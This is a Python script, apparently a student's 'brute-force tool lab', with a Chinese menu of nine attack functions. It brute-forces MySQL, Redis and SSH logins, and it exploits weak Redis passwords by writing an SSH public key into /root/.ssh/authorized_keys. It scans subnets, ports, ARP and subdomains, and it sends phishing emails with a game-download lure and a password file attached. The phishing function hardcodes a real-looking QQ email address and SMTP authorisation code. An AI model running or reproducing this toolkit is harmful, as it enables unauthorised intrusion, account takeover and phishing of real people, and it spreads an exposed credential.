#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : pythonProject1
@File : menu.py
@Author : 小陈
@Time : 2024/8/26 19:51  
@脚本说明 : 一级菜单

"""
import logging
import math
import re
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from threading import Thread
import pymysql
import requests
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1
from redis import Redis
import paramiko
import socket
import os
from prettytable import PrettyTable

# 配置日志输出级别 WARNING 警告 ERROR 异常
logging.getLogger("scapy.runtime").setLevel(logging.WARNING)



# 1. **一键Mysql爆破
mysql_result = []
def scan_mysql(host, port, user, password):
    try:
        #1. 创建mysql连接
        pymysql.connect(
            host=host,      #mysql地址
            port=port,      #mysql端口
            user=user,      #mysql用户名
            password=password,  #密码
            database="information_schema",     #数据库
            connect_timeout=3   #连接超时时间
        )
        #将爆破成功的结果添加到列表中
        mysql_result.append({
            "host": host,
            "port": port,
            "user": user,
            "password": password,
            "success": True
        })
    except:
        pass


def doscan_mysql(ip_address, port):  # 爆破账户和密码
    mysql_result.clear()    #每次运行清除一下列表
    thread_list = []
    with open(file="./user.txt", mode='r', encoding="utf-8") as u:
        for user in u.readlines():
            with open(file='./pwd.txt', mode='r', encoding='utf-8') as p:
                for passwd in p:
                    # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
                    t = Thread(target=scan_mysql, args=(ip_address, port, user.strip(), passwd.strip()))
                    # 启动子线程
                    t.start()
                    thread_list.append(t)
    for t in thread_list:
        t.join()    #子线程结束
    print("")
    print(mysql_result)



# 2. **一键Redis爆破
def scan_redis(host, port, password):
    try:
        #建立redis连接  并返回连接
        redis_cli = Redis(
            host=host,
            port=port,
            password=password,
            db=0,
            encoding='utf-8',   #编码
            socket_timeout=3,   #通讯超时
            socket_connect_timeout=3   #连接超时
        )
        redis_cli.set("aa", "bb")       #创建一个键值对
        result = redis_cli.get("aa")    #查看键的值
        if result:  #判断键值对有没有创建成功
            print(f"存在弱口令：{host}:{port} - {password}")
            print("进一步未授权访问漏洞利用ing...")
            try:
                redis_cli.config_set("dir", "/root/.ssh")   #设置redis持久化文件目录
                redis_cli.config_set("dbfilename", "authorized_keys")   #设置持久化文件名称
                with open(file="./id_rsa.pub", mode='r', encoding='utf-8') as f:
                    redis_cli.set("hacker", "\n\n" + f.read() + "\n\n")     #将公钥文件写入到redis中
                    redis_cli.save()    #保存redis操作
                    print("未授权访问漏洞利用成功，请使用私钥连接~")
            except:
                print("未授权访问漏洞利用失败")
    except:
        pass


def doscan_redis(ip_address, port):
    thread_list = []
    with open(file="./pwd.txt", mode='r', encoding='utf-8') as p:
        for passwd in p.readlines():
            #多线程调度  target是目标函数，调用时不带括号  args是传入的参数值
            t = Thread(target=scan_redis, args=(ip_address.strip(), port, passwd.strip()))
            t.start()       #启动子线程
            thread_list.append(t)
    for t in thread_list:
        t.join()    #子线程结束



# 3. **一键ssh爆破
def ssh_connect(host="127.0.0.1", port=22, username="root", password=None):  # 建立ssh连接
    try:
        # 1. 构建 tcp 传输通道 生成 transport 连接语句柄
        transport = paramiko.Transport((host, port))
        # 2. 建立 ssh 连接配置 配置账号密码
        transport.connect(username=username, password=password)
        # 3. 建立 ssh 客户端连接
        ssh_client = paramiko.SSHClient()
        if ssh_client:
            ssh_client.close()
            transport.close()
            print(f"SSH 连接成功：{username} / {password}")
            # exit()
    except:
        pass


def doscan_ssh(host):  # ssh账号密码爆破
    thread_list = []
    with open(file='./username.txt', mode='r', encoding='utf-8') as u:
        for user in u.readlines():
            with open(file='./pass.txt', mode='r', encoding='utf-8') as p:
                for passwd in p.readlines():
                    # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
                    t = Thread(target=ssh_connect, args=(host.strip(), 22, user.strip(), passwd.strip()))
                    t.start()       #子线程开启
                    thread_list.append(t)
    for t in thread_list:
        t.join()    #子线程结束



# 4. **一键下载美女壁纸
def down_girl():
    #伪造请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
    }
    #需要爬取的网址
    base_url = "https://www.toopic.cn"

    try:
        # 配置爬取页面范围
        page_start = 1
        pageend = int(input("您要爬取多少页小姐姐~\n"))
        page_end = pageend
        #获取其他页数的url
        for page in range(page_start, page_end + 1):
            if page == 1:
                one_url = base_url + "/dnbz/?q=--65--.html&page=1"
            else:
                one_url = base_url + "/dnbz/?q=--65--.html&page=" + str(page)

            # 爬取第一层页面
            resp_one = requests.get(one_url, headers=headers, timeout=3).text
            pattern_one = '<a href="(/dnbz/[0-9]+\.html)"'  #第一层图片链接的正则表达式
            # 获得第一层所有小姐姐的链接
            result_one = re.findall(pattern_one, resp_one)

            index = 1
            for link in result_one:
                print(math.floor(index / len(result_one) * 100), "%")
                two_url = base_url + link   #二层大图页面的url

                # 请求二级页面内容 主要需要解决乱码问题
                resp_two = requests.get(two_url, headers=headers, timeout=3).content.decode("utf-8")
                pattern_two = '<img alt="(.*?)" src="(.*?)"'    #第二层图片地址的正则表达式
                #获取图片的名字和图片的url
                img_name, img_url = re.findall(pattern_two, resp_two)[0]
                # 替换空白符
                img_name = img_name.replace(" ", "-")
                # 获取图片格式
                img_ext = os.path.splitext(img_url)[1]

                img_url = base_url + img_url

                # 图片下载
                try:
                    #请求图片的url地址
                    img_bin = requests.get(img_url, headers=headers, timeout=3)
                    print("小姐姐即刻到达ing...")
                    #以二进制写入到文件中
                    with open(f"./meinv/{img_name}{img_ext}", mode="wb") as f:
                        f.write(img_bin.content)
                    index += 1
                except:
                    pass
        print("下载完成，请在 meinv 目录中查看")
    except:
        pass



# 5. **扫描全网段存活IP
ip_li = []
def scan_ip(host):
    # 发包并接收结果
    send_result = os.popen(f"ping -n 1 -w 1 {host}")
    # 读取结果
    result = send_result.read()
    # 判断结果
    if "TTL" in result:
        print(f"{host} 存活")
        ip_li.append(host)
    else:
        pass


def doscan_ip(base):
    ip_li.clear()   #每次开始清理一下列表
    thread_list = []
    for i in range(1, 255):
        host = base.split("/")[0].split(".0")[0] + "." + str(i)
        # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
        t = Thread(target=scan_ip, args=(host.strip(),))
        thread_list.append(t)
        t.start()  #开启子线程
    for tt in thread_list:
        tt.join()   #子线程结束
    print("")
    print(f"一共有{len(ip_li)}个IP地址存活")



# 6. 子域名爆破  requests请求
# 定义一个空列表
child_domain_list = []
def scan_child_domain(domain, child):
    # 伪造请求头  伪造成浏览器
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36'
    }
    try:
        # 发送get请求   status_code 获取状态码
        resp_code = requests.get(url=f"http://{child}.{domain}", headers=headers, timeout=3).status_code
        # 判断子域名的状态码
        if resp_code in [200, 301, 302, 401, 402, 403, 500, 503]:
            # 如果存在就添加到空列表里
            child_domain_list.append(f"{child},{domain}")
    except:
        pass


def doscan_child_domain(domain):
    child_domain_list.clear()   #每次运行时清理一下列表
    thread_list = []
    # 打开子域名文件  使用线程遍历
    with open(file='./child.txt', mode='r', encoding='utf-8') as f:
        for child in f.readlines():
            # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
            t = Thread(target=scan_child_domain, args=(domain.strip(), child.strip()))
            t.start()   #开启子线程
            thread_list.append(t)
    # 统一处理 join问题
    for t in thread_list:
        t.join()    #结束子线程
    print(child_domain_list)



# 7. **常用端口扫描
port_li = []
def scan_port(host="127.0.0.1", port=22):
    try:
        # 建立tcp连接 port 扫描
        tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp_socket.settimeout(2)
        tcp_socket.connect((host, port))    #连接主机  参数是一个元组 端口是主机端口
        print(f"{host}:{port}端口开启,请进一步测试\n")
        port_li.append(port)
        tcp_socket.close()
    except socket.timeout:
        pass
    except:
        pass


def doscan_port(host):
    #常用端口列表
    port_list = [7, 21, 22, 23, 25, 43, 53, 67, 68, 69, 79, 80, 81, 88, 109, 110, 113, 119, 123, 135, 135, 137, 138,
                 139, 143, 161, 162, 179, 194, 220, 389, 443, 445, 465, 513, 520, 520, 546, 547, 554, 563, 631, 636,
                 991, 993, 995, 1080, 1194, 1433, 1434, 1494, 1521, 1701, 1723, 1755, 1812, 1813, 1863, 3269, 3306,
                 3307, 3389, 3544, 4369, 5060, 5061, 5355, 5432, 5671, 5672, 6379, 7001, 8080, 8081, 8088, 8443, 8883,
                 8888, 9443, 9988, 9988, 15672, 50389, 50636, 61613, 61614]

    thread_list = []
    port_li.clear()     #每次运行时清理一下列表
    for port in port_list:
        # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
        t = Thread(target=scan_port, args=(host, port))
        thread_list.append(t)
        t.start()   #开始子线程
    for tt in thread_list:
        tt.join()   #结束子线程
    print(host, "开启的端口有：", port_li)



# 8. **一键发送钓鱼邮件
def email_client(to_email):
    # 1.配置邮件必须参数
    from_email = '2308524137@qq.com'
    # to_email = to_email
    subject_content = '黑神话:悟空'
    content = """
    <h1>黑神话悟空，请查收！</h1>
    <p>下载地址：<a href='https://www.woniuxy.com'>点击下载</p>
    <img src='https://p2.bahamut.com.tw/B/2KU/66/eacb2ab01510db38ee54846fc11o73q5.JPG'>
    """
    # 2. 配置 SMTP 连接需要参数
    mail_config = MIMEMultipart()
    # 配置发送方
    mail_config['From'] = from_email
    # 配置接收方
    mail_config['To'] = to_email
    # 配置邮寄主体
    mail_config['Subject'] = subject_content
    # 配置正文
    email_content = MIMEText(content, "html")
    mail_config.attach(email_content)

    # 构建附件
    file = MIMEApplication(open(file='./pass.txt', mode='rb').read())
    # 3.1 配置文件信息
    file.add_header("Content-Disposition", "attachment", filename="同城联系方式.txt")
    # 3.2 追加文件到内容
    mail_config.attach(file)

    # 4. 发送邮件
    try:
        # 4.1 开始SSL发送 qq邮箱服务器地址 smtp.qq.com 端口是 465 local_hostname 是防止你得计算机名称为中文报错
        smtp = smtplib.SMTP_SSL(host="smtp.qq.com", port=465, local_hostname="hacker", timeout=5)
        # 4.2 授权 user发送方地址 password就是授权码
        smtp.login(user=from_email, password="qiayuxecohzkebhf")
        # 4.3 发送邮件
        smtp.sendmail(from_addr=from_email, to_addrs=to_email, msg=mail_config.as_string())
        print("邮件发送成功！")
        # 4.4 关闭连接
        smtp.quit()
    except Exception as e:
        print("邮件发送失败！", e)



# 9. **ARP扫描内网IP信息
ip_list = []
def scan_arp_ip(host):
    # 构建ARP包
    sendpkg = ARP(pdst=host)
    # 发送一个数据包 timeout=0.1 0.1s = 100ms verbose=False 简化输出回包
    try:
        resp = sr1(sendpkg, timeout=1, verbose=False)
        #  存在 ARP--有信息      不存在是None
        if resp:
            ip_list.append({
                "ip": resp.psrc,
                "mac": resp.hwsrc
            })
    except:
        pass


def doscan_arp_ip(host):
    thread_list = []
    ip_list.clear()
    # 遍历1-255之间的IP地址
    for i in range(255):
        ip = host.split("/")[0].split(".0")[0] + "." + str(i)
        # 多线程调度  target是目标函数，调用时不带括号   args是传入的参数值
        t = Thread(target=scan_arp_ip, args=(ip.strip(),))
        t.start()
        thread_list.append(t)
    for t in thread_list:
        t.join()
    print(ip_list)



def enum():  # 菜单
    print("*****爆破工具实验室*****".center(35))
    print("+" + "-" * 40 + "+")
    print("1. **一键Mysql爆破**")
    print("2. **一键Redis爆破**")
    print("3. **一键ssh爆破**")
    print("4. **一键下载美女壁纸**")
    print("5. **一键扫描全网段存活IP**")
    print("6. **一键子域名爆破**")
    print("7. **一键常用端口扫描**")
    print("8. **一键发送钓鱼邮件**")
    print("9. **一键ARP扫描内网IP信息**")
    print("0. 退出")
    print("+" + "-" * 40 + "+")
    return input("请选择您需要的功能：\n")


# 主函数入口
if __name__ == '__main__':
    while True:
        choice = enum()
        if choice == "1":
            ip_address = input("请输入您要爆破的IP地址：\n")
            port = int(input("请输入端口号：\n"))
            doscan_mysql(ip_address, port)
        elif choice == "2":
            ip_address = input("请输入您要爆破的IP地址：\n")
            port = int(input("请输入端口号：\n"))
            doscan_redis(ip_address, port)
        elif choice == "3":
            ip_address = input("请输入您要爆破的IP地址：\n")
            doscan_ssh(ip_address)
        elif choice == "4":
            down_girl()
        elif choice == "5":
            base = input("请输入您要扫描的IP网段：\n")
            doscan_ip(base)
        elif choice == "6":
            domain = input("请输入您要爆破的二级域名网址：\n")
            doscan_child_domain(domain)
        elif choice == "7":
            ip_address = input("请输入您要扫描的IP地址：\n")
            doscan_port(ip_address)
        elif choice == "8":
            to_email = input("请输入您要发送邮件的账号：\n")
            email_client(to_email)
        elif choice == "9":
            host = input("请输入您要扫描的IP网段：\n")
            doscan_arp_ip(host)
        elif choice == "0":
            print("欢迎下次使用~")
            exit()
        else:
            print("输入有误，请重新输入!")
